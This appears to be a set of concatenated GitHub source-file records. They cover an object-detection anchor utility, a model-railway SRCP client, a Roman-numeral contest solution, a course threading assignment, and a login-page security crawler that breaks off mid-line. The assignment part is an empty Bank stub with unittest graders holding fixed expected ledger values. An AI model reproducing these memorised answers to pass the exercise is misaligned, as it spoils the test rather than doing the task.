cv2.imread(image_path)\n \n if augment:\n image, gt_bboxes, gt_classes = DataAugmentation(image, gt_bboxes, gt_classes)\n \n image_h, image_w, image_c = image.shape\n image = cv2.resize(image, (IMAGE_WIDTH, IMAGE_HEIGHT), interpolation = cv2.INTER_CUBIC)\n\n gt_bboxes = gt_bboxes.astype(np.float32)\n gt_classes = np.asarray(gt_classes, dtype = np.int32)\n\n if normalize:\n gt_bboxes /= [image_w, image_h, image_w, image_h]\n gt_bboxes *= [IMAGE_WIDTH, IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_HEIGHT]\n\n # print(image.shape)\n # print(np.min(gt_bboxes), np.max(gt_bboxes), image.shape)\n\n # for bbox in gt_bboxes:\n # print(bbox)\n # xmin, ymin, xmax, ymax = (bbox * [IMAGE_WIDTH, IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_HEIGHT]).astype(np.int32)\n # cv2.rectangle(image, (xmin, ymin), (xmax, ymax), (0, 255, 0), 2)\n\n # cv2.imshow('show', image)\n # cv2.waitKey(0)\n else:\n image_path, gt_bboxes, gt_classes = xml_read(xml_path, normalize = normalize)\n image = cv2.imread(image_path)\n\n return image, gt_bboxes, gt_classes\n\ndef generate_anchors(sizes, image_wh, anchor_scales, anchor_ratios):\n scales = np.linspace(0.1, 0.9, num = len(sizes))\n sizes = np.asarray(sizes, dtype = np.int32)\n image_wh = np.asarray(image_wh, dtype = np.float32)\n \n anchors = []\n for scale, size in zip(scales, sizes):\n # scales * ratios\n strides = image_wh / size\n # base_anchor_wh = strides # * 2\n base_anchor_wh = image_wh * scale\n base_anchor_whs = [base_anchor_wh * scale for scale in anchor_scales]\n \n '''\n [41 41] [15.65853659 15.65853659]\n [21 21] [30.57142857 30.57142857]\n [11 11] [58.36363636 58.36363636]\n [6 6] [107. 107.]\n [3 3] [214. 214.]\n [1 1] [642. 642.]\n '''\n # print(size, base_anchor_wh)\n \n anchor_wh_list = []\n for base_anchor_wh in base_anchor_whs:\n for anchor_ratio in anchor_ratios:\n w = base_anchor_wh[0] * np.sqrt(anchor_ratio)\n h = base_anchor_wh[1] / np.sqrt(anchor_ratio)\n anchor_wh_list.append([w, h])\n\n # append anchors \n for y in range(size[1]):\n for x in range(size[0]):\n anchor_cx = (x + 0.5) * strides[0]\n anchor_cy = (y + 0.5) * strides[1]\n\n for anchor_wh in anchor_wh_list:\n anchors.append([anchor_cx, anchor_cy] + anchor_wh)\n\n anchors = np.asarray(anchors, dtype = np.float32)\n\n cx, cy, w, h = anchors[:, 0], anchors[:, 1], anchors[:, 2], anchors[:, 3]\n\n cond = np.logical_and(cx < IMAGE_WIDTH, cy < IMAGE_HEIGHT)\n cx, cy, w, h = cx[cond], cy[cond], w[cond], h[cond]\n\n xmin, ymin, xmax, ymax = cx - w / 2, cy - h / 2, cx + w / 2, cy + h / 2\n\n xmin = np.maximum(np.minimum(xmin, image_wh[0] - 1), 0.)\n ymin = np.maximum(np.minimum(ymin, image_wh[1] - 1), 0.)\n xmax = np.maximum(np.minimum(xmax, image_wh[0] - 1), 0.)\n ymax = np.maximum(np.minimum(ymax, image_wh[1] - 1), 0.)\n \n anchors = np.stack([xmin, ymin, xmax, ymax]).T\n return anchors\n\ndef Encode(gt_bboxes, gt_classes, anchors):\n encode_bboxes = np.zeros_like(anchors)\n encode_classes = np.zeros((anchors.shape[0], CLASSES), dtype = np.float32)\n encode_classes[:, 0] = 1.\n \n if len(gt_bboxes) != 0:\n # calculate ious\n ious = compute_bboxes_IoU(anchors, gt_bboxes)\n max_iou_indexs = np.argmax(ious, axis = 1)\n max_ious = ious[np.arange(anchors.shape[0]), max_iou_indexs]\n \n # get positive indexs\n positive_indexs = max_ious >= POSITIVE_IOU_THRESHOLD\n\n # set encode_classes\n positive_classes = gt_classes[max_iou_indexs][positive_indexs]\n encode_classes[positive_indexs, 0] = 0.\n encode_classes[positive_indexs, positive_classes] = 1.\n \n # set encode_bboxes\n encode_bboxes = gt_bboxes[max_iou_indexs]\n \n return encode_bboxes, encode_classes\n\nif __name__ == '__main__':\n import cv2\n from DSSD import *\n\n input_var = tf.placeholder(tf.float32, [None, IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_CHANNEL])\n dssd_dic, dssd_sizes = DSSD(input_var, False)\n\n anchors = generate_anchors(dssd_sizes, [IMAGE_WIDTH, IMAGE_HEIGHT], ANCHOR_SCALES, ANCHOR_RATIOS)\n\n # 1. Demo Anchors\n # bg = np.zeros((IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_CHANNEL), dtype = np.uint8)\n \n # for index, anchor in enumerate(anchors):\n # xmin, ymin, xmax, ymax = anchor.astype(np.int32)\n \n # cv2.circle(bg, ((xmax + xmin) // 2, (ymax + ymin) // 2), 1, (0, 0, 255), 2)\n # cv2.rectangle(bg, (xmin, ymin), (xmax, ymax), (0, 255, 0), 2)\n\n # if (index + 1) % (len(ANCHOR_RATIOS) * len(ANCHOR_SCALES)) == 0:\n # cv2.imshow('show', bg)\n # cv2.waitKey(1)\n\n # bg = np.zeros((IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_CHANNEL), dtype = np.uint8)\n\n # 2. Demo GT bboxes (Encode -> Decode)\n xml_paths = glob.glob('D:/DB/VOC2007/train/xml/*.xml')\n \n for xml_path in xml_paths:\n image_path, gt_bboxes, gt_classes = xml_read(xml_path, normalize = True)\n print(gt_bboxes, np.min(gt_bboxes), np.max(gt_bboxes), len(gt_bboxes))\n \n image = cv2.imread(image_path)\n h, w, c = image.shape\n \n encode_bboxes, encode_classes = Encode(gt_bboxes, gt_classes, anchors)\n positive_count = np.sum(encode_classes[:, 1:])\n \n positive_mask = np.max(encode_classes[:, 1:], axis = 1)\n positive_mask = positive_mask[:, np.newaxis]\n print(np.min(positive_mask), np.max(positive_mask))\n \n # (22890, 4) (22890, 21)\n print(np.min(positive_mask * encode_bboxes[:, :2]), np.max(positive_mask * encode_bboxes[:, :2]), \\\n np.min(positive_mask * encode_bboxes[:, 2:]), np.max(positive_mask * encode_bboxes[:, 2:]))\n print(encode_bboxes.shape, encode_classes.shape, positive_count)\n\n pred_bboxes = []\n pred_classes = [] \n\n positive_mask = np.max(encode_classes[:, 1:], axis = 1)\n for i, mask in enumerate(positive_mask):\n if mask == 1:\n xmin, ymin, xmax, ymax = (anchors[i] / [IMAGE_WIDTH, IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_HEIGHT] * [w, h, w, h]).astype(np.int32)\n cv2.rectangle(image, (xmin, ymin), (xmax, ymax), (0, 0, 255), 1)\n\n pred_bbox = convert_bboxes(encode_bboxes[i], img_wh = [w, h])\n pred_class = np.argmax(encode_classes[i])\n pred_class = CLASS_NAMES[pred_class]\n\n pred_bboxes.append(pred_bbox)\n pred_classes.append(pred_class)\n\n for pred_bbox, pred_class in zip(pred_bboxes, pred_classes):\n xmin, ymin, xmax, ymax = pred_bbox.astype(np.int32)\n\n cv2.putText(image, '{}'.format(pred_class), (xmin, ymin - 10), 1, 1, (0, 255, 0), 1)\n cv2.rectangle(image, (xmin, ymin), (xmax, ymax), (0, 255, 0), 1)\n\n cv2.imshow('show', image)\n cv2.waitKey(0)\n\n","repo_name":"shjo-april/Tensorflow_DSSD","sub_path":"DSSD_Utils.py","file_name":"DSSD_Utils.py","file_ext":"py","file_size_in_byte":7431,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"26650242047","text":"import socket\n\nfrom .base import expect, log\nfrom .exceptions import SrcpError, ProtocolError\n\n\nclass SrcpConnection:\n \"\"\"\n Handle the connection to the SRCP server.\n \"\"\"\n\n def __init__(self):\n self._commandsockets = []\n self._commandsocketsf = []\n self._locos = {}\n self._accessories = {}\n self._InfoportS = None\n self._InfoportF = None\n self._PollportS = None\n self._fb_procs = {}\n self._ga_procs = []\n self._timeoutproc = [0, None]\n self._inputProc = (None, None)\n self.host = None\n self.port = None\n\n def connect(self, host: str = 'localhost', port: int = 4303) -> str:\n \"\"\"Establish a new connection to the SRCP-server\n\n host and port specifiy the parameters of how to connect the server.\n If the connection could not be established the according exception\n will be raised.\n\n \"\"\"\n socket_index = len(self._commandsockets)\n self._commandsockets.append(\n socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n )\n self.host = host\n self.port = port\n try:\n self._commandsockets[socket_index].connect((host, port))\n self._commandsocketsf.append(self._commandsockets[socket_index].makefile('r'))\n answ = self._commandsocketsf[socket_index].readline()\n self.sendget(\"SET CONNECTIONMODE SRCP COMMAND\", socket_index)\n self.sendget(\"GO\", socket_index)\n return f'Openend command socket {socket_index}: {answ}'\n except socket.error:\n self._commandsockets[socket_index].close()\n self._commandsockets = self._commandsockets[0:socket_index]\n raise\n\n def connected(self, socket_index: int = 0) -> bool:\n # Connection to server established?\n return len(self._commandsockets) >= socket_index + 1\n\n def send(self, cmd: str, socket_index: int = 0):\n \"\"\"\n Send a command to the SRCP server.\n \"\"\"\n log.debug(f'SRCP sending on command socket {socket_index}: {cmd}')\n\n if not self.connected(socket_index):\n raise SrcpError('not connected')\n self._commandsockets[socket_index].send(f'{cmd}\\n')\n\n def sendget(self, cmd: str, socket_index: int = 0) -> str:\n \"\"\"\n\n Send a command to the SRCP server and wait for an answer.\n Exactly one text row will be returned.\n\n \"\"\"\n self.send(cmd, socket_index)\n response: str = self._commandsocketsf[socket_index].readline()\n log.debug(f'got: {response.rstrip()}')\n return response\n\n def set_power(self, p: int = 1, bus: int = 1, socket_index: int = 0):\n \"\"\"Enable/disable power on the tracks\"\"\"\n if p:\n return self.sendget(f'SET {bus} POWER ON', socket_index)\n else:\n return self.sendget(f'SET {bus} POWER OFF', socket_index)\n\n def get_power(self, bus: int = 1, socket_index: int = 0) -> int:\n \"\"\"Determine the current setting of the power switch (see power())\"\"\"\n response = self.sendget(f'GET {bus} POWER', socket_index).split()\n if len(response) < 6:\n raise ProtocolError(f'{response} not expected')\n expect(response[2], \"INFO\")\n expect(int(response[3]), bus)\n expect(response[4], \"POWER\")\n if response[5] == \"ON\":\n return 1\n if response[5] == \"OFF\":\n return 0\n raise ProtocolError(\"ON/OFF expected, %response received\" % response[2])\n\n def get_FB(self, portnr: int, bus: int = 1, socket_index: int = 0) -> int:\n response = self.sendget(f'GET {bus} FB {portnr}', socket_index).split()\n if not response:\n return 0\n if len(response) != 7:\n raise ProtocolError(f'{response} not expected')\n expect(response[2], \"INFO\")\n expect(int(response[3]), bus)\n expect(response[4], \"FB\")\n expect(int(response[5]), portnr)\n return int(response[6])\n\n def wait_FB(self, portnr: int, state: int, timeout: int, socket_index: int = 0, bus: int = 1) -> str:\n \"\"\"wait until fb goes into given state. wait at most timeout seconds\"\"\"\n return self.sendget(f'WAIT {bus} FB {portnr} {state} {timeout}', socket_index)\n\n def set_FB(self, portnr: int, state: int, bus: int = 1, socket_index: int = 0):\n s = self.sendget(f'SET {bus} FB {portnr} {state}', socket_index)\n\n def add_loco(self, loco):\n \"\"\"add_loco(self, l)\n\n Define a new loco l of type class Loco.\n The deviceprotocol and address are used to distinguish all the locos.\n Information sent through the info port is dispatched to the loco\n to update its state to match the actual state.\n\n \"\"\"\n locoident = f'{loco.getAddress()}/{loco.getBus()}'\n log.debug('storing loco [%s] with ident %s' % (loco, locoident))\n self._locos[locoident] = loco\n\n # def add_accessory(self, accessory, address=None):\n # \"\"\"addAccessory(self, a)\n #\n # Define a new accessory a of type class Accessory. The\n # decodertype and address are used to distinguish all the\n # accessories. Information sent through the info port is\n # dispatched to the accessory to update its state to match the\n # actual state.\n #\n # \"\"\"\n # if address is None:\n # address = accessory.getAddress()\n #\n # accident = '%d/%d' % (address, accessory.getBus())\n # log.debug('storing accessory [%s] with ident %s' % (accessory, accident))\n # self._accessories[accident] = accessory\n\n # def open_info_port(self):\n # \"\"\"OpenInfoPort(self)\n #\n # Open the info port of the SRCP server.\n # This function is normally used in conjunction with\n # ReadDispatchInfo().\n # The method Monitor() is used to asynchronously\n # process incoming info messages.\n #\n # \"\"\"\n # log.debug('OpenInfoPort: %s %s' % (self.host, self.port))\n # if not self.connected:\n # raise SrcpError('not connected')\n # if self._InfoportS:\n # raise SrcpError('infoport already open')\n # self._InfoportS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # try:\n # self._InfoportS.connect((self.host, self.port))\n # self._InfoportF = self._InfoportS.makefile('r')\n # answ = self._InfoportF.readline()\n # self._InfoportS.send(b'SET CONNECTIONMODE SRCP INFO\\n')\n # self._InfoportF.readline()\n # self._InfoportS.send(b'GO\\n')\n # self._InfoportF.readline()\n # return answ\n # except socket.error:\n # self._InfoportS.close()\n # self._InfoportS = None\n # raise\n #\n # def getInfoPortSocket(self):\n # return self._InfoportS\n #\n # def addFBProc(self, portno, proc, bus=1):\n # if bus not in self._fb_procs:\n # self._fb_procs[bus] = {}\n # if portno in self._fb_procs[bus]:\n # self._fb_procs[bus][portno].append(proc)\n # else:\n # self._fb_procs[bus][portno] = [proc]\n #\n # def clearFBProc(self, portno, bus=1):\n # if bus in self._fb_procs:\n # if portno in self._fb_procs[bus]:\n # del self._fb_procs[bus][portno]\n #\n # def addGAProc(self, proc):\n # self._ga_procs.append(proc)\n #\n # def setTimerProc(self, timeout, proc):\n # self._timeoutproc = [timeout, proc]\n #\n # def addInputProc(self, file, proc):\n # self._inputProc = (file, proc)\n\n # def readDispatchInfo(self):\n # \"\"\"ReadDispatchInfo(self)\n # Read and dispatch all the data currently available on the info port.\n # \"\"\"\n #\n # # read some lines\n # datalines = string.split(self._InfoportS.recv(65536), '\\n')\n # for data in datalines:\n # log.debug('Monitor info: %s' % data)\n # # print('Monitor info: %s' % data)\n # if not data: continue\n # w = string.split(data)\n # if w[2] != 'INFO': continue\n #\n # if w[4] == 'GL':\n # locoident = w[5] + '/' + w[3]\n # if locoident in self._locos:\n # self._locos[locoident].parseinfo(data)\n # elif w[4] == 'GA':\n # accident = w[5] + '/' + w[3]\n # if accident in self._accessories:\n # self._accessories[accident].parseinfo(data)\n # if w[1] == '100':\n # for proc in self._ga_procs:\n # # acc_nr bus, acc_port state\n # proc(int(w[5]), int(w[3]), int(w[6]), int(w[7]))\n # elif w[4] == 'FB':\n # portno = int(w[5])\n # bus = int(w[3])\n # if bus in self._fb_procs:\n # if portno in self._fb_procs[bus]:\n # proclist = self._fb_procs[bus][portno]\n # for proc in proclist:\n # proc(portno, bus, int(w[6]))\n #\n # def mainloop(self):\n # log.debug('InMonitor!')\n # selectports = []\n # self.open_info_port()\n # selectports.append(self._InfoportS)\n #\n # if self._inputProc[0] != None:\n # selectports.append(self._inputProc[0])\n #\n # log.debug('Monitor: ports: ' + repr(selectports))\n # t = self._timeoutproc[0]\n # while (1):\n # readable, w, x, t = xselect(selectports, [], [], t)\n # if self._InfoportS in readable:\n # self.readDispatchInfo()\n # continue\n # if self._inputProc[0] in readable:\n # self._inputProc[1]()\n # continue\n # assert t <= 0, \"implementation error\"\n # if self._timeoutproc[1] != None:\n # # noch ungetestet, deshalb auskommentiert\n # # self.__timeoutproc[1]()\n # t = self._timeoutproc[0]\n #\n # def monitor(self):\n # import threading\n # t = threading.Thread(target=self.mainloop)\n # t.setDaemon(1)\n # t.start()\n\n # Funktioniert nicht mit srcpd V.2.0.10: RESET 0 SERVER\n # def reset(self):\n # \"\"\"Re-initialize the server\"\"\"\n # self.send(\"RESET 0 SERVER\")\n","repo_name":"vanadinit/railcmd","sub_path":"railcmd/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":10380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"954479727","text":"cases = int(input())\n\nval = {\n\t\"I\": 1,\n\t\"V\": 5,\n\t\"X\":10,\n\t\"L\": 50,\n\t\"C\": 100,\n\t\"D\": 500,\n\t\"M\": 1000\n}\nmodifiers = {\n\t\"IV\": 4,\n\t\"IX\": 9,\n\t\"XL\": 40,\n\t\"XC\": 90,\n\t\"CD\":400,\n\t\"CM\":900,\n}\ndef roman(string):\n\tout = 0\n\tskip = False\n\tfor i, c in enumerate(string):\n\t\tif skip:\n\t\t\tskip = False\n\t\t\tcontinue\n\n\t\tif i + 1 < len(string) and string[i:i+2] in modifiers:\n\t\t\tout += modifiers[string[i:i+2]]\n\t\t\tskip = True\n\t\telse:\n\t\t\tout += val[c]\n\treturn out\n\npiss = {v: k for k, v in val.items()}\npiss.update({v: k for k, v in modifiers.items()})\npiss = {k:v for k, v in sorted(piss.items(), key=lambda item: item[0], reverse=True)}\ndef toRoman(num):\n\tout = \"\"\n\tfor val in piss:\n\t\twhile num >= val:\n\t\t\tout += piss[val]\n\t\t\tnum -= val\n\treturn out\n\n\nfor i in range(cases):\n\tcock = input()\n\ta, b = cock[:-1].split(\"+\")\n\taInt, bInt = (roman(a), roman(b))\n\n\tsum = aInt + bInt\n\tif sum > 1000:\n\t\tprint(cock+\"CONCORDIA CUM VERITATE\")\n\telse:\n\t\tprint(cock+toRoman(sum))","repo_name":"Lucien950/Contests","sub_path":"CCC/1998/s4.py","file_name":"s4.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"32380221805","text":"import unittest\nimport random\nimport time\nimport logging\n\nlogger = logging.getLogger('BANK')\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(logging.NullHandler())\n\n\n\n#YOUR IMPORTS HERE\nimport threading\n\n# YOUR CODE HERE\nclass Bank():\n pass\n\n######################################\n## DON'T CODE AFTER THIS LINE ###\n######################################\n\n\nclass ThreadingTests(unittest.TestCase):\n\n def test_bank_class_defined(self):\n self.assertIn('Bank', globals())\n\n def test_bank_constructor_sets_public_name(self):\n b = Bank(\"Scrooge Trust\")\n self.assertEqual(b.name, \"Scrooge Trust\")\n\n def test_bank_constructor_sets_private_number_of_tellers(self):\n b = Bank(\"Scrooge Trust\", 4)\n self.assertEqual(b._Bank__teller_count, 4)\n\n def test_bank_allows_changing_teller_count(self):\n # you'll need to use the @property and @property.setter decorators\n b = Bank(\"Scrooge Trust\")\n b.teller_count = 6\n self.assertEqual(b.teller_count, 6)\n self.assertEqual(b.teller_count, b._Bank__teller_count)\n\n def test_setting_teller_count_less_than_1_throws_error(self):\n b = Bank(\"Scrooge Trust\")\n with self.assertRaises(ValueError):\n b.teller_count = -4\n\n def test_bank_contructor_initializes_private_ledger(self):\n b = Bank(\"Scrooge Trust\")\n self.assertTrue(isinstance(b._Bank__ledger, dict))\n\n def test_can_read_but_not_overwrite_to_ledger(self):\n b = Bank(\"Scrooge Trust\")\n self.assertEqual(b.ledger, {})\n # You will need to define your own Exception, WriteError\n with self.assertRaises(WriteError):\n b.ledger = {'sneaky': -10000000}\n\n def test_bank_has_open_for_business_method(self):\n self.assertTrue(hasattr(Bank, \"open_for_business\"))\n\n def test_makes_import_queue(self):\n self.assertIn('queue',globals())\n\n def test_bank_constructor_initializes_a_private_queue(self):\n b = Bank(\"Scrooge Trust\")\n self.assertTrue(isinstance(b._Bank__queue, queue.Queue))\n\n def test_bank_is_initialized_to_be_closed(self):\n b = Bank(\"Scrooge Test\")\n self.assertFalse(b.is_open)\n\n def test_open_for_business_sets_bank_to_open(self):\n b = Bank(\"Scrooge Trust\")\n b.open_for_business()\n self.assertTrue(b.is_open)\n\n def test_bank_has_close_method_which_closes_bank(self):\n b = Bank(\"Scrooge Test\")\n b.open_for_business()\n self.assertTrue(b.is_open)\n b.close()\n self.assertFalse(b.is_open)\n\n def test_bank_has_receive_customer_method(self):\n self.assertTrue(hasattr(Bank, \"receive_customer\"))\n\n def test_receive_customer_puts_passed_cust_in_queue(self):\n b = Bank(\"Scrooge Trust\")\n b.is_open = True\n b.receive_customer(\"new cust\")\n self.assertFalse(b._Bank__queue.empty())\n self.assertEqual(b._Bank__queue.get(), \"new cust\")\n\n def test_receive_customer_only_puts_cust_in_queue_if_bank_is_open(self):\n b = Bank(\"Scrooge Trust\")\n with self.assertRaises(BankClosedException):\n b.receive_customer(\"new cust\")\n self.assertTrue(b._Bank__queue.empty())\n\n def test_bank_has_protected_teller_task_method(self):\n b = Bank(\"Scrooge Test\")\n self.assertTrue(hasattr(Bank, \"_teller_task\"))\n\n def test_makes_import_threading(self):\n self.assertIn('threading',globals())\n\n def test_bank_constructor_initializes_private_list_of_threads(self):\n b = Bank(\"Scrooge Trust\")\n self.assertTrue(isinstance(b._Bank__tellers, list))\n self.assertEqual(len(b._Bank__tellers), 4)\n self.assertTrue(isinstance(b._Bank__tellers[0], threading.Thread))\n self.assertFalse(b._Bank__tellers[0].is_alive())\n self.assertEqual(len(threading.enumerate()), 1)\n\n def test_bank_constructor_initializes_threads_to_target_teller_task(self):\n b = Bank(\"Scrooge Trust\")\n self.assertEqual(b._Bank__tellers[0]._target.__name__, \"_teller_task\")\n\n def test_teller_task_runs_while_bank_is_open(self):\n b = Bank(\"Scrooge Trust\")\n b.open_for_business()\n t = threading.Thread(target=b._teller_task)\n t.start()\n self.assertTrue(t.is_alive())\n b.close()\n t.join()\n self.assertFalse(t.is_alive())\n\n def test_when_bank_opens_tellers_are_started(self):\n b = Bank(\"Scrooge Trust\")\n b.open_for_business()\n self.assertTrue(b._Bank__tellers[0].is_alive())\n self.assertTrue(all([teller.is_alive() for teller in b._Bank__tellers]))\n b.close()\n self.assertFalse(any([teller.is_alive() for teller in b._Bank__tellers]))\n\n def test_bank_constructor_initializes_a_protected_lock(self):\n b = Bank(\"Scrooge Trust\")\n self.assertTrue(hasattr(b, \"_lock\"))\n\n def test_teller_accepts_customer_and_updates_ledger(self):\n b = Bank(\"Scrooge Test\")\n cust = ('Huey', 20)\n b.open_for_business()\n b.receive_customer(cust)\n b.close()\n self.assertEqual(b.ledger, {cust[0]: cust[1]})\n\n def test_one_teller_accepts_many_customers_and_updates_ledger(self):\n b = Bank(\"Scrooge Trust\", 1)\n b.open_for_business()\n random.seed(0)\n for _ in range(100):\n cust = random.choice(['Huey', 'Dewey', 'Lewey'])\n amount = random.randint(1, 100)\n b.receive_customer((cust, amount))\n time.sleep(1)\n b.close()\n self.assertEqual(b.ledger['Dewey'], 1927)\n self.assertEqual(b.ledger['Huey'], 2456)\n self.assertEqual(b.ledger['Lewey'], 1164)\n\n def test_teller_wont_allow_negative_balance(self):\n b = Bank(\"Scrooge Trust\", 1)\n b.open_for_business()\n random.seed(0)\n for _ in range(100):\n cust = random.choice(['Huey', 'Dewey', 'Lewey'])\n amount = random.randint(-100, 100)\n b.receive_customer((cust, amount))\n time.sleep(1)\n b.close()\n self.assertEqual(b.ledger['Dewey'], 174)\n self.assertEqual(b.ledger['Huey'], 133)\n self.assertEqual(b.ledger['Lewey'], 31)\n\n def test_many_tellers_accept_many_customers(self):\n b = Bank(\"Scrooge Trust\", 4)\n b.open_for_business()\n random.seed(0)\n for _ in range(100):\n cust = random.choice(['Huey', 'Dewey', 'Lewey'])\n amount = random.randint(-100, 100)\n b.receive_customer((cust, amount))\n time.sleep(1)\n b.close()\n self.assertEqual(b.ledger['Dewey'], 174)\n self.assertEqual(b.ledger['Huey'], 133)\n self.assertEqual(b.ledger['Lewey'], 31)\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=2, failfast=True)","repo_name":"arpitp07/UChicago_MScA_RTIS","sub_path":"Week 2/threading_MSCA2020Q4.py","file_name":"threading_MSCA2020Q4.py","file_ext":"py","file_size_in_byte":6735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"16724846735","text":"#!/usr/bin/python\n\nimport logging, sys, json, pprint, base64\nfrom time import sleep\nfrom urllib.parse import urljoin, urlparse, ParseResult\n\nfrom models.clickable import Clickable\nfrom core.eventexecutor import EventResult\nfrom HSTSPreloadList import HSTSPreloadList\n\n\nclass hashabledict(dict):\n def __key(self):\n return tuple((k,self[k]) for k in sorted(self))\n def __hash__(self):\n return hash(self.__key())\n def __eq__(self, other):\n return self.__key() == other.__key()\n\nclass BaseAfterClicksHandler(object): #{{{\n def handle(self, data, errorcode):\n logging.info(\"BaseAfterClicksHandler doing nothing\")\n\n @staticmethod\n def saveData(fn, url, initclick, preclicks, other=None):\n outdata = {} if other == None else other\n outdata[\"url\"] = url\n outdata[\"element_to_click\"] = initclick.toDict() if initclick != None else None\n outdata[\"pre_clicks\"] = [x.toDict() if x != None else None for x in preclicks]\n\n json.dump(outdata, open(fn, \"w\"))\n\n @staticmethod\n def loadData(fn):\n indata = json.load(open(fn))\n url = indata[\"url\"]\n initclick = Clickable.fromDict(indata[\"element_to_click\"]) if indata[\"element_to_click\"] != None else None\n preclicks = [Clickable(None,None,None).fromDict(x) if x != None else None for x in indata[\"pre_clicks\"]]\n return url, initclick, preclicks\n#}}}\n\n\n\n\n\n\n\n\n\nclass LoginPageChecker(BaseAfterClicksHandler): #{{{\n def __init__(self, srctype, origurl, hstspreloadchecker, domain = None, autoExitFilename = None): #{{{\n self.links = []\n self.alerts = set()\n self.srctype = srctype\n self.domain = domain\n logging.debug(\"LoginPageChecker set domain to {}\".format(self.domain))\n self.HSTSPreloadListChecker = hstspreloadchecker\n self.autoExitFilename = autoExitFilename\n\n # toplevel URLs that have no path (e.g. http://test.com)\n # should be converted to end in / (http://test.com/)\n # otherwise things are messed up. WebKit translates http://test.com to http://test.com/ automagically\n # which messes up the redirect chain. So perform this translation even before Webkit does it.\n urlparts = urlparse(origurl)\n if urlparts.path == \"\":\n urlparts = ParseResult(urlparts[0], urlparts[1], \"/\", urlparts[3], urlparts[4], urlparts[5])\n origurl = urlparts.geturl()\n\n self.origurl = origurl\n self.pwFields = {}\n self.url = None\n self.initclick = None\n self.preclicks = []\n self.resultFlag = False\n\n self.redirectPageResources = {}\n self.mainRedirectChain = []\n#}}}\n def hasResult(self): #{{{\n return self.resultFlag\n#}}}\n def getResult(self): #{{{\n return {\n \"domain\": self.domain,\n \"links\": self.links,\n \"alerts\": list(self.alerts),\n \"srctype\": self.srctype,\n \"pwfields\": self.pwFields,\n \"url\": self.url,\n \"origurl\": self.origurl,\n \"element_to_click\": self.initclick.toDict() if self.initclick != None else None,\n \"pre_clicks\": [x.toDict() if x != None else None for x in self.preclicks],\n \"redirectPageResources\": self.redirectPageResources,\n \"mainRedirectChain\": self.mainRedirectChain,\n \"success\": True\n }\n#}}}\n def getResourceData(self, url, page): #{{{\n outdata = {}\n\n # check CSP and other HTTP headers\n uir = False\n bamc = False\n # 1. get network data for current URL\n nwdata = page.getLoggedNetworkData()\n if \"headers\" in nwdata and url in nwdata[\"headers\"]:\n currentheaders = nwdata[\"headers\"][url]\n\n # 2. check for HTTP header\n # there can be multiple HTTP headers...\n csplisthttp = [v for (k,v) in currentheaders.items() if k.lower() == \"content-security-policy\"]\n uirlisthttp = [v for (k,v) in currentheaders.items() if k.lower() == \"upgrade-insecure-requests\"]\n\n # 3. check for same headers as elements\n elements = page.mainFrame().findAllElements('meta')\n csplistmeta = [e.attribute(\"content\", \"\").strip() for e in elements if e.attribute(\"http-equiv\", \"\").lower().strip() == \"content-security-policy\"]\n uirlistmeta = [e.attribute(\"content\", \"\").strip() for e in elements if e.attribute(\"http-equiv\", \"\").lower().strip() == \"upgrade-insecure-requests\"]\n\n csplist = csplisthttp + csplistmeta\n uirlist = uirlisthttp + uirlistmeta\n\n uir = any(\"upgrade-insecure-requests\" in l.lower() for l in csplist) or len(uirlist) > 0\n bamc = any(\"block-all-mixed-content\" in l.lower() for l in csplist)\n else:\n logging.debug(\"Couldn't find the headers :(\")\n\n \n # Find script resources\n elements = page.mainFrame().findAllElements('script')\n pairs = [(s.attribute(\"src\", \"\").strip(), s.attribute(\"type\", \"\").strip(), s.attribute(\"integrity\", \"\")) for s in elements]\n urls = {}\n for (s, t, sri) in pairs:\n if s != \"\":\n nt = None\n if t == \"\" or \"javascript\" in t.lower():\n nt = \"javascript\"\n if\"vbscript\" in t.lower():\n nt = \"vbscript\"\n if nt != None:\n ns = urljoin(url, s)\n urls[ns] = { \"type\": nt, \"sri\": sri!=\"\", \"uir\": uir, \"bamc\": bamc}\n outdata[\"script\"] = urls\n\n # Find css resources\n elements = page.mainFrame().findAllElements('link[rel=\"stylesheet\"]')\n pairs = [(s.attribute(\"href\", \"\").strip(), s.attribute(\"integrity\", \"\")) for s in elements]\n urls = {}\n for (s, sri) in pairs:\n if s != \"\":\n ns = urljoin(url, s)\n urls[ns] = { \"sri\": sri!=\"\", \"uir\": uir, \"bamc\": bamc}\n outdata[\"css\"] = urls\n\n # Find object resources\n elements = page.mainFrame().findAllElements('object')\n pairs = [(s.attribute(\"data\", \"\").strip(), s.attribute(\"type\", \"\").strip(), s.attribute(\"typemustmatch\", \"false\"), s.attribute(\"classid\", \"\").strip(), s.attribute(\"integrity\", \"\")) for s in elements]\n urls = {}\n for (d, t, tmm, classid, sri) in pairs:\n logging.debug(\"Detected Object: {} {} {} {} {}\".format(d, t, tmm, classid, sri))\n nsri = (sri!=\"\")\n ntmm = (tmm.lower()==\"true\")\n if d != \"\":\n nt = \"UNKNOWN---{}\".format(classid.lower())\n if classid.lower() == \"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\":\n nt = \"flash\"\n if \"flash\" in t.lower():\n nt = \"flash\"\n\n if classid.lower().startswith(\"clsid:CAFEEFAC-00\".lower()) and classid.lower().endswith(\"13-0001-FFFF-ABCDEFFEDCBA\".lower()):\n nt = \"java\"\n if \"java\" in t.lower():\n nt = \"java\"\n\n if \"silverlight\" in t.lower():\n nt = \"silverlight\"\n \n if nt != \"\":\n nd = urljoin(url, d)\n urls[nd] = {\"sri\": nsri, \"typemustmatch\": ntmm, \"type\": nt, \"uir\": uir, \"bamc\": bamc}\n\n outdata[\"object\"] = 